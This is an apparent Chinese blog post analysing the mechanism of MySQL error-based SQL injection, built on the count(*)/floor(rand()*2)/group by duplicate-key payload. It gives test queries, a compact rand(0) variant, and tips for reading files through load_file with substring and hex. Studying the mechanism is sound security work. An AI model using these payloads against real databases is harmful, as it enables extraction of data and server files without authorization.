Mysql 报错注入的原理探索

我们一般使用的报错语句:


1
select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a;
concat:为聚合函数,连接字符串功能
floor:取float的整数值
rand:取0~1之间随机浮点值,长度测试大概为16-19的样子,官方手册也没说明 :P
group by:为聚合函数,根据一个或多个列对结果集进行分组并有排序功能
a为as a 别名的简写方式
floor(rand()*2) rand为0~1,rand()*2为0~2,那么整个语句就是取0,1,2三个数字,rand()为1的几率可以忽律不计,所以是 0,1两个随机数
理解了里面几个函数的意思,我们开始测试它是怎么报错的~
测试一:


1
2
3
4
5
6
7
8
9
10
11
mysql> select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '5.1.73-log0' for key 'group_key'
 
mysql> select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a;
+----------+-------------+
| count(*) | a           |
+----------+-------------+
|       46 | 5.1.73-log0 |
|       50 | 5.1.73-log1 |
+----------+-------------+
2 rows in set (0.00 sec)
当测原语句时出现了报错情况和正常情况,why?再看测试二
测试二:


1
mysql> select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by concat((select version()),floor(rand()*2));
这次group by 不使用别名a,重新生成随机数
正常情况时会有几种结果分别是


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
+----------+-------------+
| count(*) | a           |
+----------+-------------+
|       51 | 5.1.73-log1 |
|       45 | 5.1.73-log1 |
+----------+-------------+
 
+----------+-------------+
| count(*) | a           |
+----------+-------------+
|       45 | 5.1.73-log0 |
|       51 | 5.1.73-log0 |
+----------+-------------+
 
+----------+-------------+
| count(*) | a           |
+----------+-------------+
|       45 | 5.1.73-log0 |
|       51 | 5.1.73-log1 |
+----------+-------------+
对比发现多出两组正常返回值,并且a列都是相同值,为什么测试不会显示?
推测当a列为相同值的时候产生了报错,sf0l大牛又问why,why只返回两条数据,why count(*)为96条,却返回和为96的两组数字?


先解释为什么会只返回两条数据与返回为和为96的两组数字?
group by concat((select version()),floor(rand()*2)) 会随机产生两组值为5.1.73-log0,5.1.73-log0,information_schema.tables 表中为96条数据,select concat((select version()),floor(rand()*2)) 会产生两种总和为96的结果,结果集根据group by 的值进行分组并且进行排序,so~
其实正常结果为4种情况,(0,0),(0,1),(1,0)(1,1),只是group by 把(0,1)(1,0)进行排序了


为什么当相同值时报错?
我们看下报错语句:


1
ERROR 1062 (23000): Duplicate entry '5.1.73-log1' for key 'group_key'
翻译:重复输入值为“5.1.73-log1”的group_key 键
好吧我又来猜测 :)
有木有跟数组?字典?等等数据类型属性很像?key必须为唯一值,当group by 分组时使用字典进行统计,它后面的值作为键名,当生成两个相同的随机值时,由于key必须为唯一值,所以对这个key报错了~


猜到这大牛还是不满足~为毛会产生这个错误呢? T T 我已经被他的追根精神打败了,好吧继续~
既然已经猜到是group by 的问题那么我们就可以精简语句了


1
2
mysql> select count(*) from information_schema.tables group by concat((select version()),floor(rand()*2));
ERROR 1062 (23000): Duplicate entry '5.1.73-log1' for key 'group_key'
这样正常报错
但是当这样去掉count(*)


1
mysql> select 1 from information_schema.tables group by concat((select version()),floor(rand()*2));
不行了~所有的返回都是正常,只有加上count(*)才能进行报错..count()和group by啥关系?
一番测试发现,只要是聚合函数都可以报错,像max(),min(),sum(),avg()这些都可以
那为毛必须需要它们?接着猜~
group by 应该会根据语句的不同重载不同的方法
(1)无其他聚合函数时,不会生成字典,只对指定字段进行分组
(2)有其他聚合函数时,根据指定字段生成字典,进行其他聚合函数计算,即使其他聚合函数没有使用该分组数据


这个结论终于让大牛心满意足~~~~


好了总结下:
1.报错机率是多少?
我们现在已经知道什么情况才会报错,也就是当随机数为相同值时,那么为相同值概率有多大?
floor(rand()*2) 产生两个值 (0,1),结果为两组,相同值概率C2,1/A2,2=2/4
同理(0,1,2)两个相同值概率为2/3
。。。
floor(rand()*3)随机种子为(0,1,2),为什么是*3,数学问题自己想~~~类推
所以随机种子越多报错机率越大(数据数>随机种子数)


还有一种方法就是随机数写成rand(0)这样,把rand函数的随机种子初始化为定值,测试发现这种方法可以百分百报错,唯一没有弄懂这种方式为什么可以。如果大牛们知道,请告知,谢谢!


2.group by报错注入显示64位,所以读文件需要substring(hex(load_file(‘file’)),0,64)依次读取
updatexml 为31位
extractvalue 为32位


3.精简化


1
select max(0) from user group by concat((select version()),floor(rand(0)*2));
好了,over


参考:


http://dev.mysql.com/doc/refman/5.1/zh/functions.html


http://www.cnblogs.com/rainman/archive/2013/05/01/3053703.html


http://stackoverflow.com/questions/11787558/sql-injection-attack-what-does-this-do
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值